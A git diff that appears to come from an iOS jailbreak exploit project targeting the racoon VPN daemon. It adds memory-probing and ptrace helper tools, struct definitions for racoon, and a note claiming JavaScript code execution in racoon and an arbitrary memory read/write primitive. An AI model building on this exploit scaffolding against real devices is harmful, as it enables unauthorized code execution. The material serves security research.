+// printf("[*] lol2=0x%08x\n", *(uint32_t*)0x800000);
+ task_t kek = mach_task_self();
+ uint8_t* page = malloc(0x1000);
+
+ for (int i = 0; i < _dyld_image_count(); i++) {
+ printf("%s: 0x%x (slid 0x%x)\n", _dyld_get_image_name(i), _dyld_get_image_header(i), _dyld_get_image_vmaddr_slide(i));
+ }
+
+ printf("begin\n");
+ fflush(stdout);
+
+ printf("%p\n", dlopen("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore", RTLD_GLOBAL));
+
+ printf("RTLD_LAZY=%d RTLD_NOW=%d RTLD_GLOBAL=%d RTLD_LOCAL=%d RTLD_NODELETE=%d RTLD_NOLOAD%d\n", RTLD_LAZY, RTLD_NOW, RTLD_GLOBAL, RTLD_LOCAL, RTLD_NODELETE, RTLD_NOLOAD);
+
+#if 0
+ for (int i = 0xb4000; i < 0xb5000; i += 4) {
+// uint32_t* lol = (uint32_t*)(0x1fe6a58c + (i << 12));
+ uint32_t lol = *(uint32_t*)i;
+ if (lol >= 0x1fe00000 && lol <= 0x1ff00000) {
+ printf("0x%08x 0x%08x\n", i, lol);
+ }
+ (void)fflush(__stdoutp);
+ }
+
+
+ if (*lol == 0xb5f0) break;
+ }
+#endif
+
+ printf("success\n");
+ /*
+ size_t size;
+ for (uint32_t pagen = 0x0; pagen < (0xffffffff >> 12); pagen++) {
+
+ if (pagen % ((0xffffffff >> 12) / 100) == 0) {
+ //printf("%d\n", pagen / ((0xffffffff >> 12) / 100));
+ }
+
+ uint32_t page_start = pagen << 12;
+ if (vm_read_overwrite(kek, page_start, 0x1000, (vm_address_t)page, &size))
+ continue; // page isn't allocated
+
+// printf("0x%08x\n", page_start);
+ }
+ */
+ return 0;
+}
diff --git a/tools/jit_all_the_things.c b/tools/jit_all_the_things.c
new file mode 100755
index 0000000..d955ea1
--- /dev/null
+++ b/tools/jit_all_the_things.c
@@ -0,0 +1,11 @@
+#include <sys/types.h>
+#include <stdio.h>
+
+#define PT_TRACE_ME 0
+int ptrace(int, pid_t, caddr_t, int);
+int main(int argc, char* argv[]) {
+ ptrace(PT_TRACE_ME, 0, NULL, 0);
+ exit(0);
+
+ return 0;
+} \ No newline at end of file
diff --git a/tools/jsc_fun b/tools/jsc_fun
new file mode 100755
index 0000000..83f9b13
--- /dev/null
+++ b/tools/jsc_fun
Binary files differ
diff --git a/tools/lol.js b/tools/lol.js
new file mode 100644
index 0000000..b11a54d
--- /dev/null
+++ b/tools/lol.js
@@ -0,0 +1,15 @@
+`
+Bye bye, ROP...
+Now we have JavaScript code execution in racoon.
+
+From now on, all of our doings should be possible from within JSC,
+ROP should no longer be an issue.
+
+We have a pretty stable arbitrary memory r/w primitive, which I believe
+should be able to facilitate creation of an arbitrary call primitive,
+at which point ROP is basically *actually* done for.
+
+ with love from spv. <3
+`
+
+//write_u32(0x41414141, 0x42424242); \ No newline at end of file
diff --git a/tools/test.c b/tools/test.c
new file mode 100755
index 0000000..6682971
--- /dev/null
+++ b/tools/test.c
@@ -0,0 +1,61 @@
+#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+
+#include <vproc.h>
+
+#define LC_DEFAULT_CF SYSCONFDIR "/racoon.conf"
+
+typedef char vchar_t;
+
+#define LC_PATHTYPE_INCLUDE 0
+#define LC_PATHTYPE_PSK 1
+#define LC_PATHTYPE_CERT 2
+#define LC_PATHTYPE_BACKUPSA 3
+#define LC_PATHTYPE_SCRIPT 4
+#define LC_PATHTYPE_PIDFILE 5
+#define LC_PATHTYPE_LOGFILE 6
+#define LC_PATHTYPE_MAX 7
+
+#define LC_DEFAULT_PAD_MAXSIZE 20
+#define LC_DEFAULT_PAD_RANDOM TRUE
+#define LC_DEFAULT_PAD_RANDOMLEN FALSE
+#define LC_DEFAULT_PAD_STRICT FALSE
+#define LC_DEFAULT_PAD_EXCLTAIL TRUE
+#define LC_DEFAULT_RETRY_COUNTER 5
+#define LC_DEFAULT_RETRY_INTERVAL 10
+#define LC_DEFAULT_COUNT_PERSEND 1
+#define LC_DEFAULT_RETRY_CHECKPH1 30
+#define LC_DEFAULT_WAIT_PH2COMPLETE 30
+#define LC_DEFAULT_NATT_KA_INTERVAL 20
+
+#define LC_DEFAULT_SECRETSIZE 16 /* 128 bits */
+
+#define LC_IDENTTYPE_MAX 5 /* XXX */
+
+#define LC_GSSENC_UTF16LE 0 /* GSS ID in UTF-16LE */
+#define LC_GSSENC_LATIN1 1 /* GSS ID in ISO-Latin-1 */
+#define LC_GSSENC_MAX 2
+
+#define LC_AUTOEXITSTATE_SET 0x00000001
+#define LC_AUTOEXITSTATE_CLIENT 0x00000010
+#define LC_AUTOEXITSTATE_ENABLED 0x00000011 /* both VPN client and set */
+
+struct a {
+ char *logfile_param; /* from command line */
+ char *pathinfo[LC_PATHTYPE_MAX];
+ vchar_t *ident[LC_IDENTTYPE_MAX]; /* base of Identifier payload. */
+
+ int pad_random;
+ int pad_randomlen;
+ int pad_maxsize;
+ int pad_strict;
+ int pad_excltail;
+};
+
+int main() {
+ int* a = malloc(0x100);
+ *a = 0x1;
+ printf("%x", *(int*)a + 0xa4);
+ printf("%x\n", sizeof(struct a));
+} \ No newline at end of file